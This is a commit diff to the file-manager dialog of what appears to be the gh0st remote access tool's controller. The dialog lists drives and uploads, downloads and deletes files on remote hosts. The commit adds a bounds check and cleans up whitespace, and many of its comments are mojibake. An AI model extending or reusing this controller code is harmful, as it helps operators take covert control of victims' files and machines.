修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
This commit is contained in:
@@ -80,7 +80,10 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
|
||||
memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
|
||||
PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1);
|
||||
int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
if (length > 0)
|
||||
memcpy(m_bRemoteDriveList, pSrc, length);
|
||||
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
m_nOperatingFileLength = 0;
|
||||
@@ -305,7 +308,6 @@ void CFileManagerDlg::OnSize(UINT nType, int cx, int cy)
|
||||
GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(20, cy / 2, 25, 20);
|
||||
GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(53, (cy / 2) - 4 , 210, 12);
|
||||
|
||||
|
||||
GetClientRect(&rect);
|
||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48);
|
||||
@@ -350,7 +352,6 @@ void CFileManagerDlg::FixedLocalDriveList()
|
||||
AmntMB = 0;
|
||||
FreeMB = 0;
|
||||
}
|
||||
|
||||
|
||||
int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive)));
|
||||
m_list_local.SetItemData(nItem, 1);
|
||||
@@ -407,9 +408,6 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD>Ŀ¼
|
||||
if (directory == "..")
|
||||
{
|
||||
@@ -423,7 +421,6 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
||||
m_Local_Path += "\\";
|
||||
}
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>Ŀ¼,<2C><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
if (m_Local_Path.GetLength() == 0)
|
||||
{
|
||||
@@ -501,7 +498,6 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
|
||||
return;
|
||||
} //EO if(pDragList...
|
||||
|
||||
|
||||
pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED);
|
||||
|
||||
if ((CWnd *)pDropList == &m_list_local)
|
||||
@@ -519,48 +515,6 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
m_nDropIndex = -1;
|
||||
// <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>벻Ҫ<EBB2BB>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
// if(pDragList->GetSelectedCount() == 1)
|
||||
// {
|
||||
// char szLabel[MAX_PATH];
|
||||
// LVITEM lviT;
|
||||
// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM
|
||||
// lviT.iItem = m_nDragIndex;
|
||||
// lviT.mask = LVIF_IMAGE | LVIF_TEXT;
|
||||
// lviT.pszText = szLabel;
|
||||
// lviT.cchTextMax = MAX_PATH;
|
||||
// pDragList->GetItem (&lviT);
|
||||
//
|
||||
// // Select the new item we just inserted
|
||||
// int iItem = (m_nDropIndex == -1) ? pDropList->GetItemCount () : m_nDropIndex;
|
||||
//
|
||||
// pDropList->InsertItem(iItem, szLabel, lviT.iImage);
|
||||
//
|
||||
// pDropList->SetItemState (iItem, LVIS_SELECTED, LVIS_SELECTED);
|
||||
// }
|
||||
// else //more than 1 item is being dropped
|
||||
// {
|
||||
// POSITION pos = pDragList->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
|
||||
// while(pos) //so long as we have a valid POSITION, we keep iterating
|
||||
// {
|
||||
// m_nDragIndex = pDragList->GetNextSelectedItem(pos);
|
||||
// m_nDropIndex = (m_nDropIndex == -1) ? pDropList->GetItemCount() : m_nDropIndex;
|
||||
//
|
||||
// char szLabel[MAX_PATH];
|
||||
// LVITEM lviT;
|
||||
// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM
|
||||
// lviT.iItem = m_nDragIndex;
|
||||
// lviT.mask = LVIF_IMAGE | LVIF_TEXT;
|
||||
// lviT.pszText = szLabel;
|
||||
// lviT.cchTextMax = MAX_PATH;
|
||||
// pDragList->GetItem (&lviT);
|
||||
//
|
||||
// pDropList->InsertItem(m_nDropIndex, szLabel, lviT.iImage);
|
||||
// pDropList->SetItemState(m_nDropIndex, LVIS_SELECTED, LVIS_SELECTED);
|
||||
// m_nDropIndex ++;
|
||||
// //Save the pointer to the new item in our CList
|
||||
// } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
|
||||
// }
|
||||
}
|
||||
|
||||
// The system calls this to obtain the cursor to display while the user drags
|
||||
@@ -613,7 +567,6 @@ void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(".."))
|
||||
return;
|
||||
|
||||
|
||||
//We will call delete later (in LButtonUp) to clean this up
|
||||
|
||||
if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected
|
||||
@@ -799,7 +752,6 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
|
||||
<09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>ʺϰ<CABA><CFB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڡ<F2B4B0BF>
|
||||
*/
|
||||
|
||||
|
||||
if(m_wndToolBar_Local.IsWindowVisible())
|
||||
{
|
||||
CWnd* pWndParent = m_wndToolBar_Local.GetParent();
|
||||
@@ -813,6 +765,7 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
|
||||
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnTimer(UINT nIDEvent)
|
||||
{
|
||||
// TODO: Add your message handler code here and/or call default
|
||||
@@ -837,14 +790,13 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
||||
m_list_remote.InsertColumn(2, "<EFBFBD>ܴ<EFBFBD>С", LVCFMT_LEFT, 100);
|
||||
m_list_remote.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD>ÿռ<EFBFBD>", LVCFMT_LEFT, 115);
|
||||
|
||||
|
||||
char *pDrive = NULL;
|
||||
pDrive = (char *)m_bRemoteDriveList;
|
||||
|
||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
char VolName[MAX_PATH];
|
||||
char FileSystem[MAX_PATH];
|
||||
//char VolName[MAX_PATH];
|
||||
//char FileSystem[MAX_PATH];
|
||||
|
||||
/*
|
||||
6 DRIVE_FLOPPY
|
||||
@@ -913,7 +865,6 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
||||
m_list_remote.SetItemText(nItem, 1, lpFileSystemName);
|
||||
}
|
||||
|
||||
|
||||
i += lstrlen(pDrive + i) + 1;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ǰ·<C7B0><C2B7>
|
||||
@@ -956,6 +907,7 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
||||
strCurPath += "\\";
|
||||
return strCurPath;
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnReceiveComplete()
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
@@ -1054,6 +1006,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
m_list_remote.EnableWindow(FALSE);
|
||||
m_ProgressCtrl->SetPos(0);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1)
|
||||
@@ -1080,7 +1033,6 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
||||
m_list_remote.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
|
||||
m_list_remote.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 115);
|
||||
|
||||
|
||||
int nItemIndex = 0;
|
||||
m_list_remote.SetItemData
|
||||
(
|
||||
@@ -1188,7 +1140,6 @@ BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
|
||||
if (GetRoutingFrame() != NULL)
|
||||
return FALSE;
|
||||
|
||||
|
||||
//<2F><>ANSI and UNICODE<44><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>汾
|
||||
TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR;
|
||||
TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR;
|
||||
@@ -1368,6 +1319,7 @@ void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI)
|
||||
// TODO: Add your command update UI handler code here
|
||||
pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload);
|
||||
}
|
||||
|
||||
bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName)
|
||||
{
|
||||
char lpszFilter[MAX_PATH];
|
||||
@@ -1417,6 +1369,7 @@ void CFileManagerDlg::EnableControl(BOOL bEnable)
|
||||
m_Local_Directory_ComboBox.EnableWindow(bEnable);
|
||||
m_Remote_Directory_ComboBox.EnableWindow(bEnable);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::OnLocalCopy()
|
||||
{
|
||||
m_bIsUpload = true;
|
||||
@@ -1489,7 +1442,6 @@ void CFileManagerDlg::OnRemoteCopy()
|
||||
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL CFileManagerDlg::SendDownloadJob()
|
||||
{
|
||||
|
||||
if (m_Remote_Download_Job.IsEmpty())
|
||||
return FALSE;
|
||||
|
||||
@@ -1637,14 +1589,12 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData);
|
||||
|
||||
|
||||
if (hFind != INVALID_HANDLE_VALUE
|
||||
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
|
||||
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
|
||||
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
|
||||
)
|
||||
{
|
||||
|
||||
CFileTransferModeDlg dlg(this);
|
||||
dlg.m_strFileName = m_strReceiveLocalFile;
|
||||
switch (dlg.DoModal())
|
||||
@@ -1724,7 +1674,6 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
memset(bToken + 1, 0, 8);
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS;
|
||||
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ƶ<EFBFBD>-1
|
||||
else if (nTransferMode == TRANSFER_MODE_JUMP)
|
||||
@@ -1744,7 +1693,6 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
}
|
||||
FindClose(hFind);
|
||||
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
@@ -1775,11 +1723,10 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
// д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// д<><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CFileManagerDlg::WriteLocalRecvFile()
|
||||
{
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE *pData;
|
||||
DWORD dwBytesToWrite;
|
||||
@@ -1796,7 +1743,6 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
|
||||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||||
|
||||
|
||||
dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
|
||||
HANDLE hFile =
|
||||
@@ -1878,7 +1824,6 @@ void CFileManagerDlg::EndLocalRecvFile()
|
||||
|
||||
void CFileManagerDlg::EndLocalUploadFile()
|
||||
{
|
||||
|
||||
m_nCounter = 0;
|
||||
m_strOperatingFile = "";
|
||||
m_nOperatingFileLength = 0;
|
||||
@@ -1899,6 +1844,7 @@ void CFileManagerDlg::EndLocalUploadFile()
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void CFileManagerDlg::EndRemoteDeleteFile()
|
||||
{
|
||||
if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop)
|
||||
@@ -1944,7 +1890,6 @@ void CFileManagerDlg::ShowProgress()
|
||||
else
|
||||
lpDirection = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
|
||||
|
||||
|
||||
if ((int)m_nCounter == -1)
|
||||
{
|
||||
m_nCounter = m_nOperatingFileLength;
|
||||
@@ -2107,14 +2052,12 @@ void CFileManagerDlg::SendFileData()
|
||||
|
||||
ShowProgress();
|
||||
|
||||
|
||||
if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop)
|
||||
{
|
||||
EndLocalUploadFile();
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
HANDLE hFile;
|
||||
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
@@ -2447,7 +2390,6 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
else
|
||||
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED);
|
||||
|
||||
|
||||
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
|
||||
*pResult = 0;
|
||||
@@ -2565,4 +2507,4 @@ bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
|
||||
|
||||
free(pszDirCopy);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user